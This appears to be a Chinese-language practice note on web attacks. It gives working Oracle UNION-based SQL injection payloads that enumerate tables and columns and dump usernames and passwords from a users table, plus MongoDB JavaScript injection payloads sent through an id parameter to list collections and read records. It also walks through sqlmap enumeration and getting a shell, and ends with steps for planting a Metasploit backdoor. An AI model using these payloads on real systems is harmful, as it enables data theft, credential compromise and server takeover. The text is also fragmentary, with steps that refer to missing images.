web攻防——oracle,mongodb

1.oracle

首先

然后

加单引号显位

发现1，2都可以进行注入

#Oracle 参考：https://www.cnblogs.com/peterpan0707007/p/8242119.html

测回显：and 1=2 union select '1','2' from dual

爆库：and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual 模糊爆库：and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual

爆列名：and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual

爆其他列名：and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual

爆数据：and 1=2 union select user_name,user_pwd from "sns_users"

爆其他数据：and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'

---

2.mongdb

输入id值就可以的到，但是主要它有单引号，我就这么写的话

单引号会包在外面，就会变成字符串，无法执行注入

所以我们要这么输入，来抵消它的单引号

#Mongodb 看代码 参考：https://www.runoob.com/mongodb/mongodb-query.html

f测回显：/new_list.php?id=1'}); return ({title:1,content:'

2 爆库： /new_list.php?id=1'}); return ({title:tojson(db),content:'1

爆表： /new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

爆字段：/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1 db.getCollectionNames()返回的是数组，需要用tojson转换为字符串。 db.Authority_confidential是当前用的集合（表），find函数用于查询，0是第 一条数据

倒数第一行可以查到0，1，2，就是获取它的表中的数据

查到的表

---

sqlmap

记得去加引号,防止它加空格

-u 是指定默认的网站，查看是否有注入点，看是什么注入类型

当有注入点，就会出现这个界面

查看数据库权限

如果是true，说明有机会读写文件

--dbs,可以查看说要数据库

--current db查看当前数据库

  -tables -d查看当前数据库的表

查看列名

获取数据

记得清除缓存

---

对应登录页面的sql注入，先抓包，然后放到txt的文件中，然后用sqlmap去跑，

ver开启交互式

ipconfig就可以查看按个服务器状态栏

将自己的w.txt放到1111.txt

msf

先生成后门

然后写入下载文件

就i可以在msf成功上线